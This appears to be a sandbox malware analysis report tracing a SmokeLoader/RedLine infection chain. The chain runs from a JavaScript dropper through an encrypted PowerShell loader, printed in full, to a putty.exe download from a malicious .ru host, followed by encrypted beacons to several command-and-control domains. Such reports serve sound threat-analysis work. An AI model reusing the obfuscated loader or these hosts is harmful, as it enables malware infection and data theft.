Dec 18, 2024 09:23:47.383728027 CET	1236	IN	Data Raw: a0 6e b4 f9 27 89 fa 41 11 bd 60 79 6e 27 97 9b 37 ed 70 f3 ca c7 e7 60 af 6f 41 fe ec f6 09 d8 bb 63 e1 d2 4b 1f bf 1b 56 3c cf b1 c6 e9 e5 5d c7 f1 c0 99 0f e8 1c ae 0a cf 07 79 3c 03 25 a2 4c 3c 4f 5b ba 2e fe e6 78 e2 30 5b 5a 27 de 64 d9 38 Data Ascii: n'A`yn'7p`oAcKV<]y<%L<O[.x0[Z'd8Wq"Ip4\Hm5ErLY\eEi'Cnmfl6-fKN.D9}tV;c^YS'C::%jFzt:h'7@\|:O}$U7
Dec 18, 2024 09:23:48.284965038 CET	64	OUT	GET /fdjskf88cvt/putty.exe HTTP/1.1 Host: spotcarservice.ru
Dec 18, 2024 09:23:48.741123915 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 08:23:48 GMT Content-Type: application/x-msdos-program Content-Length: 331264 Connection: keep-alive Last-Modified: Wed, 18 Dec 2024 06:47:16 GMT ETag: "50e00-62985c8c4e500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 22 d9 df c2 66 b8 b1 91 66 b8 b1 91 66 b8 b1 91 78 ea 24 91 7c b8 b1 91 78 ea 35 91 54 b8 b1 91 78 ea 32 91 e1 b8 b1 91 41 7e ca 91 65 b8 b1 91 66 b8 b0 91 e6 b8 b1 91 78 ea 3b 91 67 b8 b1 91 78 ea 25 91 67 b8 b1 91 78 ea 20 91 67 b8 b1 91 52 69 63 68 66 b8 b1 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b4 5c e9 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 04 00 00 0e 01 00 00 00 00 00 e7 88 00 00 00 10 00 00 00 80 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 23 c5 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$"fffx$\|x5Tx2A~efx;gx%gx gRichfPEL\dl@# p(@98@.textjl `.datadp@.rsrc9@:@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49793	94.156.177.51	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:24:18.461728096 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://vddxydaigau.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 193 Host: constractionscity1991.lat
Dec 18, 2024 09:24:18.461728096 CET	193	OUT	Data Raw: a1 5f 74 29 f5 40 2c cd bc 3b a6 b9 fa c3 5f 3a 52 43 b4 2e 61 cc 31 50 a0 50 bb 12 72 8b 00 52 be 57 ac f9 46 a7 70 3f 2b b8 cd 00 b4 4c 1e 2e b3 66 7a 33 9f 71 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e6 0e 25 aa Data Ascii: _t)@,;_:RC.a1PPrRWFp?+L.fz3qm-^JrC)%e0-{vm~YDg}e1"Kfu\|[x^kPG6Urs\|\|-(HnO`]T*l&
Dec 18, 2024 09:24:20.867991924 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 18 Dec 2024 08:24:20 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49799	94.156.177.51	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:24:21.129342079 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://aulnrowynyq.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 277 Host: restructurisationservice.ru
Dec 18, 2024 09:24:21.129352093 CET	277	OUT	Data Raw: a1 5f 74 29 f5 40 2c cd bc 3b a6 b9 fa c3 5f 3a 52 43 b4 2e 61 cc 31 50 a0 50 bb 12 72 8b 00 52 be 57 ac f9 46 a7 70 3f 2b b8 cd 00 b4 4c 1e 2e b3 66 7a 33 9f 71 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be a8 39 43 86 Data Ascii: _t)@,;_:RC.a1PPrRWFp?+L.fz3qm-^JrC)9Cqy-3d[1s}RGFw[\|Id$=g\|3JZ&\|[=\|IP~JH?~hD\|z7>]\w}:VXD?)YVskNZGw{w^h[4![
Dec 18, 2024 09:24:22.506104946 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 18 Dec 2024 08:24:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49806	109.70.26.37	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:24:22.766659021 CET	283	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://twtxlpyjnilpgrob.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 257 Host: connecticutproperty.ru
Dec 18, 2024 09:24:22.766694069 CET	257	OUT	Data Raw: a1 5f 74 29 f5 40 2c cd bc 3b a6 b9 fa c3 5f 3a 52 43 b4 2e 61 cc 31 50 a0 50 bb 12 72 8b 00 52 be 57 ac f9 46 a7 70 3f 2b b8 cd 00 b4 4c 1e 2e b3 66 7a 33 9f 71 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8e 49 3a 91 Data Ascii: _t)@,;_:RC.a1PPrRWFp?+L.fz3qm-^JrC)I:/`V0bv4202U@;UJOutPxa]lqwX9QBZe-peX.;}'oo(6$sruz4_tTWS>pm!=Cn
Dec 18, 2024 09:24:24.101969004 CET	300	IN	HTTP/1.1 405 Not Allowed Server: nginx Date: Wed, 18 Dec 2024 08:24:23 GMT Content-Type: text/html Content-Length: 150 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49964	94.156.177.51	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:25:29.279928923 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mafqwfpcjavfosdj.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: constractionscity1991.lat
Dec 18, 2024 09:25:29.279949903 CET	133	OUT	Data Raw: a1 5f 74 29 f5 40 2c cd bc 3b a6 b9 fa c3 5f 3a 52 43 b4 2e 61 cc 31 50 a0 50 bb 12 72 8b 00 52 be 57 ac f9 46 a7 70 3f 2b b8 cd 00 b4 4c 1e 2e b3 66 7a 33 9f 71 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be 8f 45 24 8c Data Ascii: _t)@,;_:RC.a1PPrRWFp?+L.fz3qm-^JrC)E$a[Q^@a7Z8DxE/}L<
Dec 18, 2024 09:25:31.334613085 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 18 Dec 2024 08:25:30 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49970	94.156.177.51	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:25:31.771037102 CET	286	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ycbfvshcmwtbjy.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 349 Host: restructurisationservice.ru
Dec 18, 2024 09:25:31.771053076 CET	349	OUT	Data Raw: a1 5f 74 29 f5 40 2c cd bc 3b a6 b9 fa c3 5f 3a 52 43 b4 2e 61 cc 31 50 a0 50 bb 12 72 8b 00 52 be 57 ac f9 46 a7 70 3f 2b b8 cd 00 b4 4c 1e 2e b3 66 7a 33 9f 71 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be e5 24 71 bf Data Ascii: _t)@,;_:RC.a1PPrRWFp?+L.fz3qm-^JrC)$qB`.Enzw#Y5Bd8(0+J~6KRm1L13{~F]lnu<6^x\Y@jUazY(xQ}_q{m@sE(?J
Dec 18, 2024 09:25:33.122216940 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 18 Dec 2024 08:25:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49974	109.70.26.37	80	4004	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:25:33.245955944 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://islwwuiodhvp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 310 Host: connecticutproperty.ru
Dec 18, 2024 09:25:33.245969057 CET	310	OUT	Data Raw: a1 5f 74 29 f5 40 2c cd bc 3b a6 b9 fa c3 5f 3a 52 43 b4 2e 61 cc 31 50 a0 50 bb 12 72 8b 00 52 be 57 ac f9 46 a7 70 3f 2b b8 cd 00 b4 4c 1e 2e b3 66 7a 33 9f 71 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ba 1e 53 8c Data Ascii: _t)@,;_:RC.a1PPrRWFp?+L.fz3qm-^JrC)S\#wv,#~a*C+'N2K#ua0`JC)8_xBw'`s1>g2a<`l^4MKp@L;3$!T>6IGcvYQn

Target ID:	0
Start time:	03:23:40
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U041f#U043b#U0430#U0442i#U0436#U043d#U0430 i#U043d#U0441#U0442#U0440#U0443#U043a#U0446i#U044f.js"
Imagebase:	0x7ff795ae0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:23:41
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:23:41
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:23:46
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:23:47
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\putty.exe"
Imagebase:	0x400000
File size:	331'264 bytes
MD5 hash:	C09AA26230A2083DA9032866FD33703D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2336198389.0000000000571000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000003.2236336367.0000000000550000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.2335982887.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2336107186.0000000000550000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2335885453.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:23:48
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:23:48
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	03:23:48
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2080 --field-trial-handle=1648,i,13204339744682655866,10890177265779677323,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:23:56
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff609140000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	16
Start time:	03:24:18
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\sarbjfc
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\sarbjfc
Imagebase:	0x400000
File size:	331'264 bytes
MD5 hash:	C09AA26230A2083DA9032866FD33703D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
